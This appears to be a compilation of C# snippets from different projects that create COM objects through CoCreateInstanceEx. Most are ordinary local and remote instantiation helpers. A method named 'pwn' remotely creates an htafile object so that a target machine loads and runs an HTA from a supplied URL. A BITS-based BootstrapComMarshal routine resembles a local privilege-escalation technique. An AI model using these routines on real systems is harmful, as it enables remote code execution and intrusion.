public static void BootstrapComMarshal(int port) { IStorage stg = ComUtils.CreateStorage(); // Use a known local system service COM server, in this cast BITSv1 Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097"); TestClass c = new TestClass(stg, String.Format("127.0.0.1[{0}]", port)); MULTI_QI[] qis = new MULTI_QI[1]; qis[0].pIID = ComUtils.IID_IUnknownPtr; qis[0].pItf = null; qis[0].hr = 0; //Console.WriteLine("Converting the Data!"); try { CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis); } catch { //Console.WriteLine("Caught it!"); } //Console.WriteLine("Finished with BootStrap!"); }
private static object CreateInstance(Guid clsid, string hostName) { COSERVERINFO coserverInfo = new COSERVERINFO(); GCHandle hClsid = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned); MULTI_QI[] results = new MULTI_QI[1]; results[0].iid = hClsid.AddrOfPinnedObject(); results[0].pItf = null; results[0].hr = 0; try { // check whether connecting locally or remotely. uint clsctx = CLSCTX_ALL; // uint clsctx = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER; // if (hostName != null && hostName.Length > 0) // { // clsctx = CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER; // } coserverInfo.pwszName = hostName; // create an instance. CoCreateInstanceEx(ref clsid, null, clsctx, ref coserverInfo, 1, results); } catch (Exception exc) { MessageBox.Show(exc.ToString(), "CreateInstance"); return(null); } hClsid.Free(); // 1.0.0.5 10/06/21 Kishimoto Release alloc area return(results[0].pItf); }
public void pwn(string target, string htaUrl) { try { IMoniker moniker; CreateURLMonikerEx(IntPtr.Zero, htaUrl, out moniker, 0); MULTI_QI[] mqi = new MULTI_QI[1]; mqi[0].pIID = IID_IUnknownPtr; COSERVERINFO info = new COSERVERINFO(); info.pwszName = target; info.dwReserved1 = 0; info.dwReserved2 = 0; info.pAuthInfo = IntPtr.Zero; CoCreateInstanceEx(htafile, null, CLSCTX.CLSCTX_REMOTE_SERVER, info, 1, mqi); if (mqi[0].hr != 0) { Console.WriteLine("Creating htafile COM object failed on target"); return; } IPersistMoniker iPersMon = (IPersistMoniker)mqi[0].pItf; FakeObject fake = new FakeObject(moniker); iPersMon.Load(0, fake, null, 0); } catch (Exception e) { Console.WriteLine("Exception: " + e); } }
/// <summary> /// Creates an instance of a COM server. /// </summary> public static object CreateInstance(Guid clsid, string hostName, string username, string password, string domain) { ServerInfo serverInfo = new ServerInfo(); COSERVERINFO coserverInfo = serverInfo.Allocate(hostName, username, password, domain); GCHandle hIID = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned); MULTI_QI[] results = new MULTI_QI[1]; results[0].iid = hIID.AddrOfPinnedObject(); results[0].pItf = null; results[0].hr = 0; try { // check whether connecting locally or remotely. uint clsctx = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER; if (!String.IsNullOrEmpty(hostName) && hostName != "localhost") { clsctx = CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER; } // create an instance. CoCreateInstanceEx( ref clsid, null, clsctx, ref coserverInfo, 1, results); } finally { if (hIID.IsAllocated) { hIID.Free(); } serverInfo.Deallocate(); } if (results[0].hr != 0) { throw CreateComException( ResultIds.E_FAIL, "Could not create COM server '{0}' on host '{1}'. Reason: {2}.", clsid, hostName, GetSystemMessage((int)results[0].hr, LOCALE_SYSTEM_DEFAULT)); } return(results[0].pItf); }
/// <summary> /// Creates an instance of a COM server. /// </summary> public static object CreateInstance(Guid clsid, string hostName, NetworkCredential credential) { ServerInfo serverInfo = new ServerInfo(); COSERVERINFO coserverInfo = serverInfo.Allocate(hostName, null); GCHandle hIID = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned); MULTI_QI[] results = new MULTI_QI[1]; results[0].iid = hIID.AddrOfPinnedObject(); results[0].pItf = null; results[0].hr = 0; try { // check whether connecting locally or remotely. uint clsctx = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER; if (hostName != null && hostName.Length > 0 && hostName != "localhost") { clsctx = CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER; } // create an instance. CoCreateInstanceEx( ref clsid, null, clsctx, ref coserverInfo, 1, results); } catch (Exception e) { throw e; } finally { if (hIID.IsAllocated) { hIID.Free(); } serverInfo.Deallocate(); } if (results[0].hr != 0) { throw new ExternalException("CoCreateInstanceEx: " + GetSystemMessage((int)results[0].hr)); } return(results[0].pItf); }
// public static void BootstrapComMarshal() { IStorage stg = CreateStorage(); Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097"); TestClass c = new TestClass(stg); MULTI_QI[] qis = new MULTI_QI[1]; qis[0].pIID = GuidToPointer("00000000-0000-0000-C000-000000000046"); qis[0].pItf = null; qis[0].hr = 0; CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis); }
/// <summary> /// Creates an instance of a COM server on the current machine using the current user. /// </summary> public static object CreateLocalServer(Guid clsid) { COSERVERINFO coserverInfo = new COSERVERINFO(); coserverInfo.pwszName = null; coserverInfo.pAuthInfo = IntPtr.Zero; coserverInfo.dwReserved1 = 0; coserverInfo.dwReserved2 = 0; GCHandle hIID = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned); MULTI_QI[] results = new MULTI_QI[1]; results[0].iid = hIID.AddrOfPinnedObject(); results[0].pItf = null; results[0].hr = 0; try { // create an instance. CoCreateInstanceEx( ref clsid, null, CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER, ref coserverInfo, 1, results); } finally { hIID.Free(); } if (results[0].hr != 0) { throw new ExternalException("CoCreateInstanceEx: 0x{0:X8}" + results[0].hr); } return(results[0].pItf); }
public static object CreateInstance(Guid clsid, string hostName, NetworkCredential credential) { ServerInfo info = new ServerInfo(); COSERVERINFO pServerInfo = info.Allocate(hostName, credential); //pServerInfo.pwszName = "192.168.0.102"; GCHandle handle = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned); MULTI_QI[] pResults = new MULTI_QI[1]; pResults[0].iid = handle.AddrOfPinnedObject(); pResults[0].pItf = null; pResults[0].hr = 0; try { uint dwClsCtx = 5; if (((hostName != null) && (hostName.Length > 0)) && (hostName != "localhost")) { dwClsCtx = 0x10; } // CoCreateInstanceEx() CoCreateInstanceEx(ref clsid, null, dwClsCtx, ref pServerInfo, 1, pResults); } catch (Exception exception) { throw exception; } finally { if (handle.IsAllocated) { handle.Free(); } info.Deallocate(); } if (pResults[0].hr != 0) { throw new ExternalException("CoCreateInstanceEx: " + GetSystemMessage((int)pResults[0].hr)); } return(pResults[0].pItf); }
/// <summary> /// Creates an instance of a COM server. /// </summary> public static object CreateInstance1(Guid clsid, string hostName, UserIdentity identity) { ServerInfo serverInfo = new ServerInfo(); COSERVERINFO coserverInfo = serverInfo.Allocate(hostName, identity); GCHandle hIID = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned); MULTI_QI[] results = new MULTI_QI[1]; results[0].iid = hIID.AddrOfPinnedObject(); results[0].pItf = null; results[0].hr = 0; try { // check whether connecting locally or remotely. uint clsctx = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER; if (!String.IsNullOrEmpty(hostName) && hostName != "localhost") { clsctx = CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER; } // create an instance. CoCreateInstanceEx( ref clsid, null, clsctx, ref coserverInfo, 1, results); } finally { if (hIID.IsAllocated) hIID.Free(); serverInfo.Deallocate(); } if (results[0].hr != 0) { throw ServiceResultException.Create( StatusCodes.BadCommunicationError, "Could not create COM server '{0}' on host '{1}'. Reason: {2}.", clsid, hostName, GetSystemMessage((int)results[0].hr, LOCALE_SYSTEM_DEFAULT)); } return results[0].pItf; }
public IntPtr CreateInstance(CLSCTX dwContext, string server) { IntPtr pInterface = IntPtr.Zero; if (dwContext == CLSCTX.ALL) { if (DefaultServerType == COMServerType.InProcServer32) { dwContext = CLSCTX.INPROC_SERVER; } else if (DefaultServerType == COMServerType.LocalServer32) { dwContext = CLSCTX.LOCAL_SERVER; } else if (DefaultServerType == COMServerType.InProcHandler32) { dwContext = CLSCTX.INPROC_HANDLER; } else { dwContext = CLSCTX.SERVER; } } Guid iid = COMInterfaceEntry.CreateKnownInterface(COMInterfaceEntry.KnownInterfaces.IUnknown).Iid; Guid clsid = Clsid; int hr = 0; if (server != null) { MULTI_QI[] qis = new MULTI_QI[1]; qis[0] = new MULTI_QI(iid); COSERVERINFO server_info = new COSERVERINFO(server); try { hr = COMUtilities.CoCreateInstanceEx(ref clsid, IntPtr.Zero, dwContext, server_info, 1, qis); if (hr == 0) { hr = qis[0].HResult(); if (hr == 0) { pInterface = qis[0].GetObjectPointer(); } } } finally { ((IDisposable)qis[0]).Dispose(); } } else { hr = COMUtilities.CoCreateInstance(ref clsid, IntPtr.Zero, dwContext, ref iid, out pInterface); } if (hr != 0) { Marshal.ThrowExceptionForHR(hr); } return(pInterface); }
/// <summary> /// Creates an instance of a COM server. /// </summary> public static object CreateServer(Guid clsid) { COSERVERINFO coserverInfo = new COSERVERINFO(); coserverInfo.pwszName = null; coserverInfo.pAuthInfo = IntPtr.Zero; coserverInfo.dwReserved1 = 0; coserverInfo.dwReserved2 = 0; GCHandle hIID = GCHandle.Alloc(IID_IUnknown, GCHandleType.Pinned); MULTI_QI[] results = new MULTI_QI[1]; results[0].iid = hIID.AddrOfPinnedObject(); results[0].pItf = null; results[0].hr = 0; try { // create an instance. CoCreateInstanceEx( ref clsid, null, CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER, ref coserverInfo, 1, results); } finally { hIID.Free(); } if (results[0].hr != 0) { throw new ExternalException("CoCreateInstanceEx: 0x{0:X8}" + results[0].hr); } return results[0].pItf; }